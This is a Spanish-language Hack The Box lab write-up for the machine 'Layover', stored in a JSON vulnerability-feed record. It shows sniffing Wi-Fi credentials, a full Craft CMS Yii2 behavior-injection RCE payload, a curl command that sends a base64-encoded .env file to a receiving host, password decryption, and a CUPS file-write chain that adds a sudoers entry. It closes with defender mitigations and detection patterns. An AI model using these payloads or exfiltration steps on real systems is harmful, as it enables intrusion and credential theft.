{"uuid": "7fb58ee0-f801-47f6-a229-b1cca9370921", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "seen", "source": "https://gist.github.com/PelucheAsesino/7e8c9344f6d2cfd051b2fcf5f6acb177", "content": "# Layover \u2014 HTB Writeup\n**Dificultad:** Medium  \n**OS:** Linux  \n**Autor:** Vortek Offensive  \n**Fecha:** 2026-09-26\n\n---\n\n## Resumen Ejecutivo\n\nLayover es una m\u00e1quina Medium Linux que simula un entorno corporativo de aeropuerto con una red WiFi interna. El acceso inicial llega por RDP a un jumpbox, desde donde se conecta a una red WiFi simulada (mac80211_hwsim) para capturar credenciales de un usuario en texto claro via sniffing pasivo. Con esas credenciales se explota una vulnerabilidad de inyecci\u00f3n de comportamiento en Craft CMS 5.9.8 que permite RCE sin ser administrador. El movimiento lateral requiere descifrar una contrase\u00f1a cifrada con la clave de seguridad del CMS. La escalada a root se consigue abusando de CVE-2026-34990, una vulnerabilidad en CUPS 2.4.16 que permite a cualquier usuario local capturar un token de autenticaci\u00f3n del demonio de impresi\u00f3n y usarlo para escribir archivos arbitrarios como root \u2014 en este caso, un fragmento de sudoers.\n\n---\n\n## 1. Reconocimiento\n\n**Objetivo de esta fase:** Determinar qu\u00e9 servicios est\u00e1n expuestos en el target para priorizar vectores de ataque.\n\n### 1.1 Puertos abiertos\n\nEl target expone \u00fanicamente dos puertos. Esto es inusual \u2014 la mayor\u00eda de m\u00e1quinas HTB tienen m\u00e1s superficie \u2014 y es un hint de que el acceso inicial no va por la v\u00eda convencional de explotar un servicio web directamente.\n\n```\nPuerto 22  \u2014 SSH (OpenSSH 9.6p1 Ubuntu)\nPuerto 3389 \u2014 RDP/xrdp (no requiere NLA)\n```\n\nEl puerto 3389 corresponde a **RDP** (Remote Desktop Protocol), el protocolo de escritorio remoto de Microsoft adoptado tambi\u00e9n en Linux via `xrdp`. La ausencia de **NLA** (Network Level Authentication) significa que el servidor acepta la conexi\u00f3n antes de pedir credenciales \u2014 esto simplifica la explotaci\u00f3n y es considerado una misconfiguration en entornos de producci\u00f3n.\n\n### 1.2 Acceso inicial via RDP\n\nLa descripci\u00f3n de la m\u00e1quina provee credenciales iniciales: `contractor / Contractor2026!`. La autenticaci\u00f3n SSH con estas credenciales falla porque `sshd` tiene deshabilitada la autenticaci\u00f3n por contrase\u00f1a para este usuario. El acceso correcto es via RDP:\n\n```bash\nrdesktop -u contractor -p 'Contractor2026!' -g 1280x1024 \n```\n\n**rdesktop** es un cliente RDP open source para Linux. Al conectar, se obtiene un escritorio XFCE del sistema `airside-ws01`, que resulta ser un contenedor LXD (identificable por la interfaz `eth0@if11`, que indica una interfaz virtual de red dentro de un namespace).\n\nUna vez dentro, la escalada a root local es inmediata:\n\n```bash\nsudo bash\n# Password: Contractor2026!\n```\n\nEl usuario `contractor` pertenece al grupo `sudo`, lo que permite ejecutar cualquier comando como root. Este jumpbox es intencionalmente d\u00e9bil \u2014 su prop\u00f3sito narrativo es ser un punto de pivoting, no el objetivo final.\n\n---\n\n## 2. Enumeraci\u00f3n de Red Interna\n\n### 2.1 Interfaces de red y WiFi simulado\n\nSiendo root en `airside-ws01`, la enumeraci\u00f3n de interfaces revela algo no convencional:\n\n```bash\nip a\n```\n\n```\n6: wlan2:  mtu 1500 ...\n7: wlan3:  mtu 1500 ...\n10: eth0@if11: ... inet 10.159.143.45/24\n```\n\nHay dos interfaces WiFi (`wlan2`, `wlan3`) inactivas. El driver detr\u00e1s de estas interfaces es `mac80211_hwsim` \u2014 un m\u00f3dulo del kernel de Linux que simula hardware WiFi para pruebas, permitiendo crear redes WiFi completamente virtuales con comportamiento real (beacons, autenticaci\u00f3n, transmisi\u00f3n de frames).\n\nUn scan revela la red disponible:\n\n```bash\niw dev wlan2 scan 2&gt;/dev/null | grep SSID\n# SSID: HTB International WiFi\n```\n\nLa red no tiene contrase\u00f1a (`key_mgmt: NONE`), lo cual es el estado original del challenge. Conectar a ella asigna una IP en la subnet `10.13.37.0/24`:\n\n```bash\nnmcli dev wifi connect \"HTB International WiFi\" ifname wlan2\n# ip: 10.13.37.182/24\n```\n\n### 2.2 Captura de credenciales en tr\u00e1fico WiFi\n\nCon `wlan3` en **modo monitor** (captura todo el tr\u00e1fico del medio sin necesidad de estar asociado a la red) y configurada en el **canal 6** (donde est\u00e1 el AP seg\u00fan el scan), se puede ver el tr\u00e1fico de otros clientes en la misma red WiFi:\n\n```bash\nip link set wlan3 down\niw dev wlan3 set type monitor\nip link set wlan3 up\niw dev wlan3 set channel 6\n\ntshark -i wlan3 \\\n  -Y 'http.request.method==\"POST\"' \\\n  -T fields \\\n  -e ip.src \\\n  -e http.request.full_uri \\\n  -e urlencoded-form.key \\\n  -e urlencoded-form.value\n```\n\n**tshark** es la versi\u00f3n de l\u00ednea de comandos de Wireshark \u2014 un analizador de protocolos de red. El flag `-Y` aplica un filtro de visualizaci\u00f3n que solo muestra peticiones HTTP POST. Esto es posible porque la red WiFi no tiene cifrado (WPA/WPA2), por lo que todos los frames son visibles en texto claro para cualquiera en modo monitor.\n\nResultado capturado:\n\n```\n10.13.37.132    http://portal.international.htb/miles/login.php    username,password    jenny,Fl1ghtDeck2026!\n```\n\nUn bot (simulando el comportamiento de un empleado) hace login al portal del aeropuerto peri\u00f3dicamente con credenciales en texto claro sobre HTTP sin TLS. Las credenciales son: `jenny / Fl1ghtDeck2026!`.\n\nEl servidor del portal est\u00e1 en `10.13.37.10`. Se agrega al `/etc/hosts`:\n\n```bash\necho \"10.13.37.10 portal.international.htb\" &gt;&gt; /etc/hosts\n```\n\n---\n\n## 3. Foothold \u2014 RCE en Craft CMS\n\n### 3.1 Reconocimiento del portal\n\n`http://portal.international.htb` aloja **Craft CMS 5.9.8**, un CMS (Content Management System) orientado a empresas, construido en PHP sobre el framework Yii2. El panel de administraci\u00f3n est\u00e1 en `/admin`.\n\nLas credenciales de Jenny permiten autenticarse en el panel admin, pero con privilegios limitados (`userIsAdmin: false`). La configuraci\u00f3n `allowAdminChanges: false` bloquea los vectores m\u00e1s obvios de SSTI (inyecci\u00f3n en Title Format de Entry Types).\n\n### 3.2 La vulnerabilidad \u2014 Inyecci\u00f3n de comportamiento Yii2\n\nEl endpoint `/index.php?p=admin/actions/element-search/search` acepta una estructura JSON que define condiciones de b\u00fasqueda de elementos en Craft. Dentro de esta estructura se pueden definir `fieldLayouts` con un array `as rce` que especifica behaviors de Yii2.\n\n**Yii2** es el framework PHP sobre el que est\u00e1 construido Craft CMS. Los **behaviors** en Yii2 son clases que extienden la funcionalidad de un componente en tiempo de ejecuci\u00f3n \u2014 una forma de composici\u00f3n en lugar de herencia. El problema: el endpoint no valida qu\u00e9 clase de behavior se instancia ni qu\u00e9 m\u00e9todos invoca.\n\nLa clase `Psy\\Readline\\Hoa\\ConsoleProcessus` es parte de PsySH (un REPL de PHP), que a su vez usa `Hoa\\Console` para ejecutar procesos del sistema. El m\u00e9todo `execute` acepta un comando como string o array y lo ejecuta.\n\nEl payload completo:\n\n```python\npayload = {\n    \"elementType\": \"craft\\\\elements\\\\Category\",\n    \"siteId\": 1,\n    \"search\": \"\",\n    \"condition\": {\n        \"class\": \"craft\\\\elements\\\\conditions\\\\ElementCondition\",\n        \"elementType\": \"craft\\\\elements\\\\Category\",\n        \"fieldLayouts\": [{\n            \"as rce\": {\n                \"__class\": \"yii\\\\behaviors\\\\AttributeTypecastBehavior\",\n                \"__construct()\": [{\n                    \"attributeTypes\": {\n                        \"typecastBeforeSave\": [\n                            \"Psy\\\\Readline\\\\Hoa\\\\ConsoleProcessus\",\n                            \"execute\"\n                        ]\n                    },\n                    \"typecastBeforeSave\": [\"sh\", \"-c\", \"\"]\n                }]\n            },\n            \"on *\": \"self::beforeSave\"\n        }]\n    },\n    \"CRAFT_CSRF_TOKEN\": csrf2\n}\n```\n\nEl comando se pasa como array para que `ConsoleProcessus` lo ejecute via `exec()` de PHP sin pasar por un shell, lo que evita problemas de escape de caracteres especiales.\n\n### 3.3 Exfiltraci\u00f3n de datos via HTTP\n\nDado que el output del comando no aparece en la respuesta JSON, se exfiltra via petici\u00f3n HTTP al jumpbox (que act\u00faa como receptor):\n\n```python\n# En el jumpbox \u2014 servidor HTTP receptor\nimport http.server, threading, urllib.parse, base64\n\n# El comando en el servidor remoto\ncmd = [\"sh\", \"-c\", \"curl -s http://10.13.37.182:9999/$(cat /var/www/portal/.env | base64 -w0)\"]\n```\n\nEl servidor remoto (`10.13.37.10`) ejecuta `curl` con el output del comando codificado en base64 como path de la URL. El jumpbox recibe la petici\u00f3n y decodifica el path.\n\n### 3.4 Obtenci\u00f3n del `.env` y descifrado de credenciales\n\nEl archivo `/var/www/portal/.env` contiene la clave de seguridad del CMS:\n\n```\nCRAFT_SECURITY_KEY=IGckihiFK64_lrSgJJ6QLkiPz-ow13Lr\n```\n\nEn el backup SQL del CMS (obtenido via el panel de Database Backup al que Jenny tiene acceso) existe la tabla `htbairways_settings` con una contrase\u00f1a cifrada:\n\n```\nmailRelayPassword = u0E7OgbBeWhhPn1HajsFMDg0ZDJhNzUwZTUyNGMxYjBlZDk0...\nmailRelayUser     = aporter\n```\n\n**Craft CMS** cifra datos sensibles usando su `Security::encryptByKey()`, que internamente usa AES-256-GCM con derivaci\u00f3n de clave via HKDF. El descifrado requiere la `CRAFT_SECURITY_KEY`:\n\n```bash\n# En el servidor del CMS (via RCE o shell)\ncd /var/www/portal\nphp -r \"\nrequire 'vendor/autoload.php';\n\\$security = new \\yii\\base\\Security();\necho \\$security-&gt;decryptByKey(\n    base64_decode('u0E7OgbBeWhhPn1HajsFMDg...'),\n    'IGckihiFK64_lrSgJJ6QLkiPz-ow13Lr'\n);\n\"\n# Output: Skyp0rt_Relay!26\n```\n\n---\n\n## 4. Movimiento Lateral \u2014 SSH como aporter\n\nCon las credenciales descifradas (`aporter / Skyp0rt_Relay!26`) se obtiene acceso SSH directo al servidor del CMS desde el jumpbox:\n\n```bash\nsshpass -p 'Skyp0rt_Relay!26' ssh -o StrictHostKeyChecking=no aporter@10.13.37.10\n```\n\n```\naporter@portal:~$ cat user.txt\n04eb9d0058a80fa297137fbf4741f0ce\n```\n\nEl usuario `aporter` no tiene acceso `sudo` ni pertenece a grupos privilegiados. La enumeraci\u00f3n post-acceso identifica que `cupsd` (el demonio de CUPS) est\u00e1 corriendo como root en `localhost:631`.\n\n---\n\n## 5. Escalada de Privilegios \u2014 CVE-2026-34990 (CUPS 2.4.16)\n\n### 5.1 \u00bfQu\u00e9 es CUPS?\n\n**CUPS** (Common Unix Printing System) es el sistema de impresi\u00f3n est\u00e1ndar en Linux y macOS. El demonio `cupsd` gestiona impresoras, colas de impresi\u00f3n y trabajos. Corre como root porque necesita acceso directo a dispositivos de hardware y escritura en directorios del sistema.\n\n### 5.2 La vulnerabilidad\n\n**CVE-2026-34990** afecta espec\u00edficamente a CUPS 2.4.16. El sistema tiene dos mecanismos de autenticaci\u00f3n relevantes:\n\n1. **CUPS-Create-Local-Printer**: Una operaci\u00f3n IPP que crea una impresora temporal. Por dise\u00f1o, **no requiere autenticaci\u00f3n de administrador** \u2014 cualquier usuario local puede invocarla. La impresora creada apunta a un `device-uri` que puede ser una URL IPP.\n\n2. **Token `Authorization: Local`**: Cuando `cupsd` necesita validar una impresora temporal contra el `device-uri` especificado, hace una conexi\u00f3n IPP saliente a esa URI. Si la URI apunta a un servicio en localhost que responde con `WWW-Authenticate: Local trc=\"y\"`, cupsd responde incluyendo su token de autenticaci\u00f3n local en el header `Authorization: Local `.\n\n3. **El token es reutilizable**: Cualquier petici\u00f3n a `/admin/` en localhost que incluya ese token es aceptada como autenticada con permisos de administrador de CUPS.\n\n4. **File:// bypass**: La ruta normal de CUPS rechaza URIs `file://` en impresoras persistentes (la pol\u00edtica `FileDevice` lo bloquea). El bypass es crear primero una impresora temporal con el URI `file:///ruta/archivo` y luego hacerla permanente usando `OP_ADD_MODIFY_PRINTER` con `printer-is-temporary=false` sin re-especificar el `device-uri` \u2014 en este punto ya no se valida la pol\u00edtica.\n\n5. **Escritura arbitraria como root**: Al imprimir un trabajo en esa impresora, `cupsd` abre el archivo destino con `O_WRONLY|O_CREAT|O_TRUNC` corriendo como root, escribiendo el contenido del job.\n\n### 5.3 Cadena de explotaci\u00f3n\n\n```\nUsuario local sin privilegios\n    \u2193 CUPS-Create-Local-Printer \u2192 impresora temporal con device-uri=ipp://localhost:9189/\n    \u2193 cupsd conecta a 9189 para validar\n    \u2193 Servidor captura Authorization: Local \n    \u2193 Con TOKEN \u2192 OP_ADD_MODIFY_PRINTER \u2192 impresora permanente con file:///etc/sudoers.d/aporter-pwn\n    \u2193 Print-Job \u2192 cupsd escribe como root el contenido del job\n    \u2193 Contenido: \"aporter ALL=(ALL) NOPASSWD: ALL\"\n    \u2193 sudo -n bash \u2192 root\n```\n\n### 5.4 Ejecuci\u00f3n\n\n```bash\npython3 /tmp/cups_root.py\n```\n\n```\n[+] Local token: 8A8B4991E5C14CEA069BA9824C9C85FB\n[*] step 1: write sudoers fragment\n    [sw] queue add 0x0000 / print HTTP 200 0x0000\n    [sw] queue add 0x0000 / print HTTP 200 0x0000\n    [...]\n[*] sudo -n id -&gt; rc_ok=True :: uid=0(root) gid=0(root) groups=0(root)\n[+] ROOT via sudoers\n```\n\n```bash\nsudo cat /root/root.txt\n# fa8b0a8cbb1d1100efe369bc89196c5a\n```\n\n---\n\n## 6. Rabbit Holes\n\n**SSH con las credenciales de contractor** \u2014 El servidor solo acepta autenticaci\u00f3n por llave p\u00fablica para SSH. Intentar autenticarse por contrase\u00f1a siempre falla con `Permission denied (publickey,password)`. El acceso inicial correcto es RDP.\n\n**Crackear el hash bcrypt del admin de Craft** \u2014 El hash del administrador (`$2y$13$ZdTZwteklJx...`) con bcrypt cost factor 13 tardar\u00eda aproximadamente 8 d\u00edas en una CPU de doce n\u00facleos contra rockyou.txt. No es el camino. Las credenciales necesarias se obtienen descifrando el `mailRelayPassword` con la `CRAFT_SECURITY_KEY`.\n\n**CVE-2024-47176 (cups-browsed)** \u2014 Esta variante del ataque a CUPS requiere el demonio `cups-browsed` corriendo, que escucha por UDP en el puerto 631. En este sistema, `cups-browsed` no est\u00e1 instalado. Solo corre `cupsd`.\n\n**Reverse shell directa** \u2014 El servidor `10.13.37.10` no tiene salida directa a la IP del atacante en `tun0`. Solo puede conectar al jumpbox en `10.13.37.182`. Los intentos de reverse shell hacia la IP de HTB fallan silenciosamente.\n\n---\n\n## 7. Lecciones para Defenders\n\n**Red WiFi sin cifrado**\nEl sniffing fue posible porque la red no usa WPA2/WPA3. Cualquier cliente en modo monitor puede capturar todo el tr\u00e1fico. La autenticaci\u00f3n HTTP sin TLS sobre esta red expone credenciales en texto claro.\n- Mitigaci\u00f3n: WPA3-Enterprise con certificados; TLS obligatorio en todas las aplicaciones internas aunque la red sea \"corporativa\".\n- Detecci\u00f3n: Monitorear clientes en modo monitor via 802.11 management frames (Probe Requests con capabilities que indican monitor mode, ausencia de Association Requests).\n\n**Inyecci\u00f3n de comportamiento en Craft CMS**\nEl endpoint `element-search/search` acepta clases PHP arbitrarias en la definici\u00f3n de condiciones sin sanitizar. Esto no requiere ser administrador \u2014 cualquier usuario con acceso al panel admin puede explotarlo.\n- Mitigaci\u00f3n: Actualizar a Craft CMS 5.9.9+ donde se limita la instanciaci\u00f3n de clases en contextos de b\u00fasqueda.\n- Detecci\u00f3n: Alertas en el WAF para requests a `/admin/actions/element-search/search` con payloads que contengan `__class`, `ConsoleProcessus` o `AttributeTypecastBehavior`.\n\n**Contrase\u00f1a de relay SMTP cifrada pero recuperable**\nEl cifrado de la contrase\u00f1a en la base de datos est\u00e1 bien implementado, pero la clave de descifrado (`CRAFT_SECURITY_KEY`) vive en un archivo `.env` en el mismo servidor. Un atacante con RCE puede leer ambos y reconstruir la credencial.\n- Mitigaci\u00f3n: Separar la gesti\u00f3n de secretos del servidor de aplicaci\u00f3n (HashiCorp Vault, AWS Secrets Manager). El servidor de aplicaci\u00f3n obtiene el secreto en tiempo de ejecuci\u00f3n sin que quede en disco.\n\n**CUPS 2.4.16 \u2014 escritura arbitraria como root**\nLa operaci\u00f3n `CUPS-Create-Local-Printer` no requiere autenticaci\u00f3n admin y permite crear impresoras con URIs arbitrarios, incluidos `file://`. El token de autenticaci\u00f3n local de CUPS es captu-rable por cualquier proceso local.\n- Mitigaci\u00f3n: Actualizar a CUPS 2.4.17+ donde se elimin\u00f3 el soporte para `file://` en colas de impresi\u00f3n y se restringe el uso de certificados locales sobre la interfaz de loopback.\n- Detecci\u00f3n: Monitorear conexiones salientes desde `cupsd` a puertos no est\u00e1ndar en localhost; alertar sobre escrituras en `/etc/sudoers.d/` y `/etc/cron.d/` por parte del proceso `cupsd`.\n\n---\n\n## 8. TTPs (MITRE ATT&amp;CK)\n\n| ID | T\u00e9cnica | C\u00f3mo se us\u00f3 |\n|----|---------|-------------|\n| T1021.001 | Remote Services: Remote Desktop Protocol | Acceso inicial al jumpbox via RDP con credenciales provistas |\n| T1078 | Valid Accounts | Uso de credenciales de contractor para acceso inicial |\n| T1040 | Network Sniffing | Captura de credenciales de Jenny via tshark en wlan3 en modo monitor |\n| T1190 | Exploit Public-Facing Application | RCE en Craft CMS via inyecci\u00f3n de behavior Yii2 |\n| T1552.001 | Unsecured Credentials: Credentials In Files | Lectura de CRAFT_SECURITY_KEY del .env |\n| T1140 | Deobfuscate/Decode Files or Information | Descifrado de mailRelayPassword con la security key de Craft |\n| T1068 | Exploitation for Privilege Escalation | CVE-2026-34990 en CUPS 2.4.16 para escritura arbitraria como root |\n| T1548.003 | Abuse Elevation Control Mechanism: Sudo and Sudo Caching | Escritura de fragmento sudoers via CUPS para obtener sudo sin contrase\u00f1a |\n\n---\n\n*Vortek Offensive \u2014 vortekoffensive.com*\n", "creation_timestamp": "2026-09-28T02:26:17.000000Z"}